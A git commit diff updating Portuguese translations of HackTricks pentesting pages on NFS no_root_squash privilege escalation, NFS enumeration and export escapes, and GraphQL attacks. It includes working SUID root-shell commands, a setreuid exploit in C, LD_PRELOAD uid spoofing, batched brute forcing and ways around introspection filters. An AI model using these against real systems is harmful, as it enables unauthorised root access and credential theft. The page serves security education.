mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash
This commit is contained in:
parent
fdcb789062
commit
3cfc132eac
@ -1,18 +1,29 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Leia o arquivo _ **/etc/exports** _. Se você encontrar algum diretório configurado como **no_root_squash**, então você pode **acessá-lo** **como cliente** e **escrever dentro** desse diretório **como** se você fosse o **root** local da máquina.
|
||||
# Informações Básicas sobre Squashing
|
||||
|
||||
**no_root_squash**: Esta opção basicamente dá autoridade ao usuário root no cliente para acessar arquivos no servidor NFS como root. E isso pode levar a sérias implicações de segurança.
|
||||
O NFS geralmente (especialmente no linux) confia no `uid` e `gid` indicados pelo cliente que se conecta para acessar os arquivos (se o kerberos não for usado). No entanto, existem algumas configurações que podem ser definidas no servidor para **mudar esse comportamento**:
|
||||
|
||||
**no_all_squash:** Isso é semelhante à opção **no_root_squash**, mas se aplica a **usuários não-root**. Imagine que você tem um shell como usuário nobody; verificou o arquivo /etc/exports; a opção no_all_squash está presente; verifique o arquivo /etc/passwd; emule um usuário não-root; crie um arquivo suid como esse usuário (montando usando nfs). Execute o suid como usuário nobody e torne-se um usuário diferente.
|
||||
- **`all_squash`**: Ele reduz todos os acessos mapeando todos os usuários e grupos para **`nobody`** (65534 unsigned / -2 signed). Portanto, todos são `nobody` e nenhum usuário é utilizado.
|
||||
- **`root_squash`/`no_all_squash`**: Este é o padrão no Linux e **apenas reduz o acesso com uid 0 (root)**. Portanto, qualquer `UID` e `GID` são confiáveis, mas `0` é reduzido para `nobody` (então nenhuma impersonação de root é possível).
|
||||
- **`no_root_squash`**: Esta configuração, se habilitada, não reduz nem mesmo o usuário root. Isso significa que se você montar um diretório com essa configuração, você pode acessá-lo como root.
|
||||
|
||||
No arquivo **/etc/exports**, se você encontrar algum diretório que está configurado como **no_root_squash**, então você pode **acessar** a partir de **um cliente** e **escrever dentro** desse diretório **como** se você fosse o **root** local da máquina.
|
||||
|
||||
Para mais informações sobre **NFS**, consulte:
|
||||
|
||||
{{#ref}}
|
||||
/network-services-pentesting/nfs-service-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
# Escalada de Privilégios
|
||||
|
||||
## Exploração Remota
|
||||
|
||||
Se você encontrou essa vulnerabilidade, pode explorá-la:
|
||||
|
||||
- **Montando esse diretório** em uma máquina cliente, e **como root copiando** dentro da pasta montada o binário **/bin/bash** e dando a ele direitos **SUID**, e **executando a partir da máquina vítima** esse binário bash.
|
||||
Opção 1 usando bash:
|
||||
- **Montando esse diretório** em uma máquina cliente e **como root copiando** dentro da pasta montada o binário **/bin/bash** e dando a ele direitos **SUID**, e **executando a partir da máquina vítima** esse binário bash.
|
||||
- Observe que para ser root dentro do compartilhamento NFS, **`no_root_squash`** deve estar configurado no servidor.
|
||||
- No entanto, se não estiver habilitado, você pode escalar para outro usuário copiando o binário para o compartilhamento NFS e dando a ele a permissão SUID como o usuário para o qual você deseja escalar.
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
mkdir /tmp/pe
|
||||
@ -25,7 +36,9 @@ chmod +s bash
|
||||
cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
- **Montando esse diretório** em uma máquina cliente, e **como root copiando** dentro da pasta montada nosso payload compilado que irá abusar da permissão SUID, dando a ele direitos **SUID**, e **executando a partir da máquina da vítima** esse binário (você pode encontrar aqui alguns [payloads C SUID](payloads-to-execute.md#c)).
|
||||
Opção 2 usando código compilado em C:
|
||||
- **Montando esse diretório** em uma máquina cliente, e **como root copiando** dentro da pasta montada nosso payload compilado que irá abusar da permissão SUID, dando a ele direitos de **SUID**, e **executando a partir da máquina da vítima** esse binário (você pode encontrar aqui alguns [C SUID payloads](payloads-to-execute.md#c)).
|
||||
- Mesmas restrições que antes
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
gcc payload.c -o payload
|
||||
@ -42,14 +55,14 @@ cd <SHAREDD_FOLDER>
|
||||
## Exploit Local
|
||||
|
||||
> [!NOTE]
|
||||
> Note que se você puder criar um **túnel da sua máquina para a máquina da vítima, ainda poderá usar a versão Remota para explorar essa escalada de privilégios, tunelando as portas necessárias**.\
|
||||
> Note que se você puder criar um **túnel da sua máquina para a máquina da vítima, ainda poderá usar a versão Remota para explorar essa escalada de privilégio, tunelando as portas necessárias**.\
|
||||
> O seguinte truque é caso o arquivo `/etc/exports` **indique um IP**. Nesse caso, você **não poderá usar** em nenhum caso o **exploit remoto** e precisará **abusar desse truque**.\
|
||||
> Outro requisito necessário para que o exploit funcione é que **a exportação dentro de `/etc/export`** **deve estar usando a flag `insecure`**.\
|
||||
> --_Não tenho certeza se, caso `/etc/export` indique um endereço IP, esse truque funcionará_--
|
||||
> --_Não tenho certeza se, quando `/etc/export` indica um endereço IP, esse truque funcionará_--
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
O cenário envolve explorar um compartilhamento NFS montado em uma máquina local, aproveitando uma falha na especificação do NFSv3 que permite ao cliente especificar seu uid/gid, potencialmente permitindo acesso não autorizado. A exploração envolve o uso de [libnfs](https://github.com/sahlberg/libnfs), uma biblioteca que permite a falsificação de chamadas RPC NFS.
|
||||
O cenário envolve explorar um compartilhamento NFS montado em uma máquina local, aproveitando uma falha na especificação do NFSv3 que permite ao cliente especificar seu uid/gid, potencialmente permitindo acesso não autorizado. A exploração envolve o uso de [libnfs](https://github.com/sahlberg/libnfs), uma biblioteca que permite a forja de chamadas RPC NFS.
|
||||
|
||||
### Compilando a Biblioteca
|
||||
|
||||
@ -65,31 +78,26 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
|
||||
O exploit envolve a criação de um programa C simples (`pwn.c`) que eleva privilégios para root e, em seguida, executa um shell. O programa é compilado e o binário resultante (`a.out`) é colocado no compartilhamento com suid root, usando `ld_nfs.so` para falsificar o uid nas chamadas RPC:
|
||||
|
||||
1. **Compile o código do exploit:**
|
||||
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
|
||||
2. **Coloque o exploit no compartilhamento e modifique suas permissões falsificando o uid:**
|
||||
|
||||
```bash
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
|
||||
3. **Execute o exploit para obter privilégios de root:**
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
## Bônus: NFShell para Acesso Discreto a Arquivos
|
||||
|
||||
## Bônus: NFShell para Acesso a Arquivos de Forma Discreta
|
||||
|
||||
Uma vez obtido o acesso root, para interagir com o compartilhamento NFS sem mudar a propriedade (para evitar deixar rastros), um script Python (nfsh.py) é usado. Este script ajusta o uid para corresponder ao do arquivo sendo acessado, permitindo a interação com arquivos no compartilhamento sem problemas de permissão:
|
||||
Uma vez que o acesso root é obtido, para interagir com o compartilhamento NFS sem mudar a propriedade (para evitar deixar rastros), um script Python (nfsh.py) é usado. Este script ajusta o uid para corresponder ao do arquivo sendo acessado, permitindo a interação com arquivos no compartilhamento sem problemas de permissão:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# script from https://www.errno.fr/nfs_privesc.html
|
||||
|
||||
@ -6,26 +6,63 @@
|
||||
|
||||
**NFS** é um sistema projetado para **cliente/servidor** que permite aos usuários acessar arquivos de forma contínua através de uma rede como se esses arquivos estivessem localizados em um diretório local.
|
||||
|
||||
Um aspecto notável deste protocolo é a sua falta de **mecanismos de autenticação** ou **autorização** integrados. Em vez disso, a autorização depende das **informações do sistema de arquivos**, com o servidor encarregado de traduzir com precisão as **informações do usuário fornecidas pelo cliente** no formato de **autorização** exigido pelo sistema de arquivos, seguindo principalmente a **sintaxe UNIX**.
|
||||
|
||||
A autenticação geralmente depende de **identificadores `UID`/`GID` do UNIX e associações de grupos**. No entanto, um desafio surge devido ao potencial descompasso nas **mapeações `UID`/`GID`** entre clientes e servidores, não deixando espaço para verificação adicional pelo servidor. Consequentemente, o protocolo é mais adequado para uso em **redes confiáveis**, dado sua dependência desse método de autenticação.
|
||||
|
||||
**Porta padrão**: 2049/TCP/UDP (exceto a versão 4, que precisa apenas de TCP ou UDP).
|
||||
```
|
||||
2049/tcp open nfs 2-3 (RPC #100003
|
||||
```
|
||||
### Autenticação
|
||||
|
||||
Um aspecto notável deste protocolo é a sua habitual falta de **mecanismos de autenticação** ou **autorização** integrados. Em vez disso, a autorização depende das **informações do sistema de arquivos**, com o servidor encarregado de traduzir com precisão as **informações do usuário fornecidas pelo cliente** no formato de **autorização** exigido pelo sistema de arquivos, seguindo principalmente a **sintaxe UNIX**.
|
||||
|
||||
A autenticação comumente depende de **identificadores `UID`/`GID` do UNIX e associações a grupos**. No entanto, um desafio surge devido ao potencial descompasso nas **mapeações `UID`/`GID`** entre clientes e servidores, não deixando espaço para verificação adicional pelo servidor. Além disso, esses detalhes são enviados pelo cliente e confiados pelo servidor, de modo que um cliente mal-intencionado poderia potencialmente **se passar por outro usuário enviando `uid` e `gid` mais privilegiados.**
|
||||
|
||||
**No entanto, observe que, por padrão, não é possível se passar pelo `UID` 0 (root) usando NFS. Mais sobre isso na seção de squashing.**
|
||||
|
||||
#### Hosts
|
||||
|
||||
Para uma melhor (ou alguma) autorização, você pode especificar os **hosts** que podem acessar o compartilhamento NFS. Isso pode ser feito no arquivo `/etc/exports` do Linux. Por exemplo:
|
||||
```
|
||||
/PATH/TO/EXPORT CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
|
||||
/media/disk/share 192.168.2.123(rw,sec=krb5p:krb5i)
|
||||
```
|
||||
Como você pode ver, ele permite configurar um **IP** ou **hostname** específico para acessar o compartilhamento. Somente esse endereço poderá acessar o compartilhamento.
|
||||
|
||||
### Versões
|
||||
|
||||
- **NFSv2**: Esta versão é reconhecida por sua ampla compatibilidade com vários sistemas, marcando sua importância com operações iniciais predominantemente sobre UDP. Sendo a **mais antiga** da série, ela lançou as bases para desenvolvimentos futuros.
|
||||
|
||||
- **NFSv3**: Introduzido com uma série de melhorias, o NFSv3 expandiu seu predecessor ao suportar tamanhos de arquivos variáveis e oferecer mecanismos de relatórios de erros aprimorados. Apesar de seus avanços, enfrentou limitações em plena compatibilidade retroativa com clientes NFSv2.
|
||||
- **NFSv3**: Introduzido com uma série de melhorias, o NFSv3 expandiu seu predecessor ao suportar tamanhos de arquivo variáveis e oferecer mecanismos de relatórios de erro aprimorados. Apesar de seus avanços, enfrentou limitações na compatibilidade total com clientes NFSv2.
|
||||
|
||||
- **NFSv4**: Uma versão marcante na série NFS, o NFSv4 trouxe um conjunto de recursos projetados para modernizar o compartilhamento de arquivos em redes. Melhorias notáveis incluem a integração do Kerberos para **alta segurança**, a capacidade de atravessar firewalls e operar pela Internet sem a necessidade de portmappers, suporte para Listas de Controle de Acesso (ACLs) e a introdução de operações baseadas em estado. Suas melhorias de desempenho e a adoção de um protocolo com estado distinguem o NFSv4 como um avanço crucial nas tecnologias de compartilhamento de arquivos em rede.
|
||||
- Observe que é muito estranho encontrar um host Linux NFS suportando autenticação kerberos.
|
||||
|
||||
Cada versão do NFS foi desenvolvida com a intenção de atender às necessidades em evolução dos ambientes de rede, aprimorando progressivamente a segurança, compatibilidade e desempenho.
|
||||
|
||||
### Squashing
|
||||
|
||||
Como mencionado anteriormente, o NFS geralmente confia no `uid` e `gid` do cliente para acessar os arquivos (se o kerberos não for usado). No entanto, existem algumas configurações que podem ser definidas no servidor para **mudar esse comportamento**:
|
||||
|
||||
- **all_squash**: Ele reduz todos os acessos mapeando cada usuário e grupo para **`nobody`** (65534 unsigned / -2 signed). Portanto, todos são `nobody` e nenhum usuário é utilizado.
|
||||
- **root_squash/no_all_squash**: Este é o padrão no Linux e **apenas reduz o acesso com uid 0 (root)**. Portanto, qualquer `UID` e `GID` são confiáveis, mas `0` é reduzido a `nobody` (então nenhuma impersonação de root é possível).
|
||||
- **no_root_squash**: Esta configuração, se ativada, não reduz nem mesmo o usuário root. Isso significa que se você montar um diretório com essa configuração, poderá acessá-lo como root.
|
||||
|
||||
### Subtree check
|
||||
|
||||
Disponível apenas no Linux. man(5) exports diz: "Se um subdiretório de um sistema de arquivos for exportado, mas o sistema de arquivos inteiro não, então sempre que um pedido NFS chegar, o servidor deve verificar não apenas se o arquivo acessado está no sistema de arquivos apropriado (o que é fácil), mas também se está na árvore exportada (o que é mais difícil). Essa verificação é chamada de verificação de subárvore."
|
||||
|
||||
No Linux, o **recurso `subtree_check` está desativado** por padrão.
|
||||
|
||||
## Enumeração
|
||||
|
||||
### Showmount
|
||||
|
||||
Isso pode ser usado para **obter informações de um servidor NFSv3**, como a lista de **exports**, quem está **autorizado a acessar** esses exports e quais clientes estão conectados (o que pode ser impreciso se um cliente se desconectar sem avisar o servidor).
|
||||
Nos **clientes NFSv4, eles acessam diretamente o / export** e tentam acessar os exports a partir daí, falhando se for inválido ou não autorizado por qualquer motivo.
|
||||
|
||||
Se ferramentas como `showmount` ou módulos do Metasploit não mostrarem informações de uma porta NFS, é potencialmente um servidor NFSv4 que não suporta a versão 3.
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
### Scripts nmap úteis
|
||||
```bash
|
||||
nfs-ls #List NFS exports and check permissions
|
||||
@ -36,9 +73,13 @@ nfs-statfs #Disk statistics and info from NFS share
|
||||
```bash
|
||||
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
||||
```
|
||||
### Montando
|
||||
### nfs_analyze
|
||||
|
||||
Para saber **qual pasta** o servidor tem **disponível** para montar, você pode perguntar a ele usando:
|
||||
Esta ferramenta de [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) pode ser usada para obter muitos dados de um servidor NFS, como **montagens**, versões NFS suportadas, IPs conectados e até mesmo se é possível **escapar das exportações** para outras pastas no FS ou **se `no_root_squash` está habilitado**.
|
||||
|
||||
## Montagem
|
||||
|
||||
Para saber **qual pasta** o servidor tem **disponível** para montar, você pode perguntar usando:
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
@ -46,33 +87,58 @@ Então monte-o usando:
|
||||
```bash
|
||||
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
|
||||
```
|
||||
Você deve especificar para **usar a versão 2** porque ela não possui **nenhuma** **autenticação** ou **autorização**.
|
||||
Você deve especificar para **usar a versão 2** porque ela não tem **nenhuma** **autenticação** ou **autorização**.
|
||||
|
||||
**Exemplo:**
|
||||
```bash
|
||||
mkdir /mnt/new_back
|
||||
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
## Permissões
|
||||
## Ataques
|
||||
|
||||
Se você montar uma pasta que contém **arquivos ou pastas acessíveis apenas por algum usuário** (por **UID**). Você pode **criar** **localmente** um usuário com esse **UID** e usando esse **usuário** você poderá **acessar** o arquivo/pasta.
|
||||
### Confiando em UID e GID
|
||||
|
||||
## NSFShell
|
||||
Claro, o único problema aqui é que, por padrão, não é possível se passar por root (`UID` 0). No entanto, é possível se passar por qualquer outro usuário ou, se `no_root_squash` estiver habilitado, você também pode se passar por root.
|
||||
|
||||
Para listar, montar e mudar facilmente o UID e GID para ter acesso a arquivos, você pode usar [nfsshell](https://github.com/NetDirect/nfsshell).
|
||||
- Se você montar uma pasta que contém **arquivos ou pastas acessíveis apenas por algum usuário** (por **UID**). Você pode **criar** **localmente** um usuário com esse **UID** e, usando esse **usuário**, você poderá **acessar** o arquivo/pasta.
|
||||
- A ferramenta **`fuse_nfs`** de [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) basicamente sempre enviará o UID e GID necessários para acessar os arquivos.
|
||||
|
||||
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
### Escalação de Privilégios SUID
|
||||
|
||||
Verifique a página:
|
||||
|
||||
{{#ref}}
|
||||
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### Escapando das exportações
|
||||
|
||||
Neste [ótimo artigo](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) é possível ver que é possível **escapar das exportações para acessar outras pastas no FS**.
|
||||
|
||||
Portanto, se uma exportação estiver exportando uma pasta que é uma **subpasta** do **sistema de arquivos inteiro**, é possível acessar arquivos fora da exportação se **`subtree_check`** estiver desabilitado. E está **desabilitado por padrão no Linux**.
|
||||
|
||||
Por exemplo, se um servidor NFS estiver exportando `/srv/` e `/var/` estiver no mesmo sistema de arquivos, é possível ler logs de `/var/log/` ou armazenar um webshell em `/var/www/`.
|
||||
|
||||
Além disso, note que, por padrão, apenas o usuário root (0) está protegido contra ser impersonado (verifique a seção Squash). No entanto, se um arquivo for **possuído por root, mas o grupo não for 0, é possível acessá-lo**. Por exemplo, o arquivo `/etc/shadow` é possuído por root, mas o grupo é `shadow` (gid 42 no Debian). Portanto, é possível lê-lo por padrão!
|
||||
|
||||
A ferramenta **`nfs_analyze`** de [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) foi criada para suportar esse ataque contra os sistemas de arquivos ext4, xfs, btrfs na versão 3 (também deve ser possível na v4).
|
||||
|
||||
### NSFShell
|
||||
|
||||
Para listar, montar e mudar UID e GID facilmente para ter acesso a arquivos, você pode usar [nfsshell](https://github.com/NetDirect/nfsshell).
|
||||
|
||||
[Ótimo tutorial do NFSShell.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
|
||||
## Arquivos de configuração
|
||||
```
|
||||
/etc/exports
|
||||
/etc/lib/nfs/etab
|
||||
```
|
||||
### Configurações Perigosas
|
||||
## Configurações Perigosas
|
||||
|
||||
- **Permissões de Leitura e Escrita (`rw`):** Esta configuração permite tanto a leitura quanto a escrita no sistema de arquivos. É essencial considerar as implicações de conceder acesso tão amplo.
|
||||
|
||||
- **Uso de Portas Inseguras (`insecure`):** Quando habilitado, isso permite que o sistema utilize portas acima de 1024. A segurança das portas acima desse intervalo pode ser menos rigorosa, aumentando o risco.
|
||||
- **Uso de Portas Inseguras (`insecure`):** Quando ativado, isso permite que o sistema utilize portas acima de 1024. A segurança das portas acima desse intervalo pode ser menos rigorosa, aumentando o risco.
|
||||
|
||||
- **Visibilidade de Sistemas de Arquivos Aninhados (`nohide`):** Esta configuração torna diretórios visíveis mesmo que outro sistema de arquivos esteja montado abaixo de um diretório exportado. Cada diretório requer sua própria entrada de exportação para gerenciamento adequado.
|
||||
|
||||
@ -80,7 +146,7 @@ Para listar, montar e mudar facilmente o UID e GID para ter acesso a arquivos, v
|
||||
|
||||
- **Não Squashing de Todos os Usuários (`no_all_squash`):** Esta opção garante que as identidades dos usuários sejam preservadas em todo o sistema, o que pode levar a problemas de permissão e controle de acesso se não for tratado corretamente.
|
||||
|
||||
## Escalada de Privilégios usando configurações incorretas do NFS
|
||||
## Escalada de Privilégios usando Configurações Incorretas do NFS
|
||||
|
||||
[NFS no_root_squash e no_all_squash escalada de privilégios](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
|
||||
|
||||
|
||||
@ -8,7 +8,7 @@ GraphQL é **destacado** como uma **alternativa eficiente** à REST API, oferece
|
||||
|
||||
## GraphQL e Segurança
|
||||
|
||||
Com o advento de novas tecnologias, incluindo o GraphQL, novas vulnerabilidades de segurança também surgem. Um ponto chave a ser observado é que **o GraphQL não inclui mecanismos de autenticação por padrão**. É responsabilidade dos desenvolvedores implementar tais medidas de segurança. Sem a autenticação adequada, os endpoints do GraphQL podem expor informações sensíveis a usuários não autenticados, representando um risco significativo à segurança.
|
||||
Com o advento de novas tecnologias, incluindo GraphQL, novas vulnerabilidades de segurança também surgem. Um ponto chave a ser observado é que **o GraphQL não inclui mecanismos de autenticação por padrão**. É responsabilidade dos desenvolvedores implementar tais medidas de segurança. Sem a autenticação adequada, os endpoints do GraphQL podem expor informações sensíveis a usuários não autenticados, representando um risco significativo à segurança.
|
||||
|
||||
### Ataques de Força Bruta em Diretórios e GraphQL
|
||||
|
||||
@ -172,7 +172,7 @@ Se a introspecção estiver habilitada, você pode usar [**GraphQL Voyager**](ht
|
||||
|
||||
Agora que sabemos que tipo de informação está salva dentro do banco de dados, vamos tentar **extrair alguns valores**.
|
||||
|
||||
Na introspecção, você pode encontrar **qual objeto você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag.
|
||||
Na introspecção, você pode encontrar **qual objeto você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado de "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag.
|
||||
|
||||

|
||||
|
||||
@ -204,7 +204,7 @@ No entanto, neste exemplo, se você tentar fazer isso, receberá este **erro**:
|
||||
Parece que de alguma forma ele irá buscar usando o argumento "_**uid**_" do tipo _**Int**_.\
|
||||
De qualquer forma, já sabíamos disso, na seção [Basic Enumeration](graphql.md#basic-enumeration) foi proposta uma consulta que mostrava todas as informações necessárias: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
Se você ler a imagem fornecida quando executei essa consulta, verá que "_**user**_" tinha o **arg** "_**uid**_" do tipo _Int_.
|
||||
Se você ler a imagem fornecida quando eu executei essa consulta, verá que "_**user**_" tinha o **arg** "_**uid**_" do tipo _Int_.
|
||||
|
||||
Assim, realizando um leve _**uid**_ bruteforce, descobri que em _**uid**=**1**_ um nome de usuário e uma senha foram recuperados:\
|
||||
`query={user(uid:1){user,password}}`
|
||||
@ -289,7 +289,7 @@ Na **introspecção**, você pode encontrar as **mutações** **declaradas**. Na
|
||||
|
||||
.png>)
|
||||
|
||||
Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas por seu **email** e **nome**; **filmes** por seu **nome** e **classificação**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados.
|
||||
Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas pelo seu **email** e **nome**; **filmes** pelo seu **nome** e **classificação**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados.
|
||||
|
||||
Uma mutação para **criar novos** filmes dentro do banco de dados pode ser como a seguinte (neste exemplo, a mutação é chamada de `addMovie`):
|
||||
```javascript
|
||||
@ -341,7 +341,7 @@ Como explicado em [**uma das vulnerabilidades descritas neste relatório**](http
|
||||
Esta informação foi retirada de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
||||
Autenticação através da API GraphQL com **envio simultâneo de muitas consultas com diferentes credenciais** para verificá-las. É um ataque clássico de força bruta, mas agora é possível enviar mais de um par login/senha por solicitação HTTP devido ao recurso de agrupamento do GraphQL. Essa abordagem enganaria aplicativos externos de monitoramento de taxa, fazendo-os pensar que tudo está bem e que não há um bot de força bruta tentando adivinhar senhas.
|
||||
|
||||
Abaixo, você pode encontrar a demonstração mais simples de uma solicitação de autenticação de aplicativo, com **3 pares de email/senha diferentes por vez**. Obviamente, é possível enviar milhares em uma única solicitação da mesma forma:
|
||||
Abaixo você pode encontrar a demonstração mais simples de uma solicitação de autenticação de aplicativo, com **3 pares de email/senha diferentes por vez**. Obviamente, é possível enviar milhares em uma única solicitação da mesma forma:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -353,13 +353,13 @@ Como podemos ver na captura de tela da resposta, a primeira e a terceira solicit
|
||||
|
||||
Cada vez mais **endpoints graphql estão desativando a introspecção**. No entanto, os erros que o graphql gera quando uma solicitação inesperada é recebida são suficientes para ferramentas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recriarem a maior parte do esquema.
|
||||
|
||||
Além disso, a extensão Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa solicitações de API GraphQL passando pelo Burp** e **constrói** um **esquema** interno de GraphQL com cada nova consulta que vê. Também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso dentro da API. Para mais informações [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
Além disso, a extensão Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa solicitações de API GraphQL passando pelo Burp** e **constrói** um **esquema** interno de GraphQL com cada nova consulta que vê. Ela também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso dentro da API. Para mais informações [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
|
||||
Uma boa **lista de palavras** para descobrir [**entidades GraphQL pode ser encontrada aqui**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
|
||||
### Contornando defesas de introspecção do GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
Para contornar restrições em consultas de introspecção em APIs, inserir um **caractere especial após a palavra-chave `__schema`** prova ser eficaz. Este método explora descuidos comuns de desenvolvedores em padrões regex que visam bloquear a introspecção, concentrando-se na palavra-chave `__schema`. Ao adicionar caracteres como **espaços, novas linhas e vírgulas**, que o GraphQL ignora, mas que podem não ser considerados no regex, as restrições podem ser contornadas. Por exemplo, uma consulta de introspecção com uma nova linha após `__schema` pode contornar tais defesas:
|
||||
Para contornar restrições em consultas de introspecção em APIs, inserir um **caractere especial após a palavra-chave `__schema`** prova ser eficaz. Este método explora descuidos comuns de desenvolvedores em padrões regex que visam bloquear a introspecção, concentrando-se na palavra-chave `__schema`. Ao adicionar caracteres como **espaços, quebras de linha e vírgulas**, que o GraphQL ignora, mas que podem não ser considerados no regex, as restrições podem ser contornadas. Por exemplo, uma consulta de introspecção com uma quebra de linha após `__schema` pode contornar tais defesas:
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
@ -367,7 +367,7 @@ Para contornar restrições em consultas de introspecção em APIs, inserir um *
|
||||
{queryType{name}}}"
|
||||
}
|
||||
```
|
||||
Se não tiver sucesso, considere métodos de solicitação alternativos, como **GET requests** ou **POST com `x-www-form-urlencoded`**, uma vez que restrições podem se aplicar apenas a solicitações POST.
|
||||
Se não for bem-sucedido, considere métodos de solicitação alternativos, como **solicitações GET** ou **POST com `x-www-form-urlencoded`**, uma vez que as restrições podem se aplicar apenas às solicitações POST.
|
||||
|
||||
### Tente WebSockets
|
||||
|
||||
@ -459,13 +459,13 @@ A mutação pode até levar a uma tomada de conta ao tentar modificar dados de o
|
||||
|
||||
[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) juntos pode contornar um sistema de autenticação fraco.
|
||||
|
||||
No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que ela deve executar apenas a consulta forgotPassword associada. Isso pode ser contornado adicionando uma consulta ao final; neste caso, adicionamos "register" e uma variável de usuário para o sistema registrar como um novo usuário.
|
||||
No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que ela deve executar apenas a consulta forgotPassword associada a ela. Isso pode ser contornado adicionando uma consulta ao final; neste caso, adicionamos "register" e uma variável de usuário para o sistema registrar como um novo usuário.
|
||||
|
||||
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bypassing Rate Limits Using Aliases in GraphQL
|
||||
|
||||
Em GraphQL, aliases são um recurso poderoso que permite a **nomeação de propriedades explicitamente** ao fazer uma solicitação de API. Essa capacidade é particularmente útil para recuperar **múltiplas instâncias do mesmo tipo** de objeto dentro de uma única solicitação. Aliases podem ser empregados para superar a limitação que impede objetos GraphQL de ter várias propriedades com o mesmo nome.
|
||||
Em GraphQL, aliases são um recurso poderoso que permite a **nomeação de propriedades explicitamente** ao fazer uma solicitação de API. Essa capacidade é particularmente útil para recuperar **múltiplas instâncias do mesmo tipo** de objeto dentro de uma única solicitação. Aliases podem ser empregados para superar a limitação que impede que objetos GraphQL tenham várias propriedades com o mesmo nome.
|
||||
|
||||
Para uma compreensão detalhada dos aliases do GraphQL, o seguinte recurso é recomendado: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
|
||||
@ -513,7 +513,7 @@ Neste exemplo, 10 consultas diferentes são agrupadas em uma única solicitaçã
|
||||
|
||||
### **Vulnerabilidade de Sobrecarga de Diretiva**
|
||||
|
||||
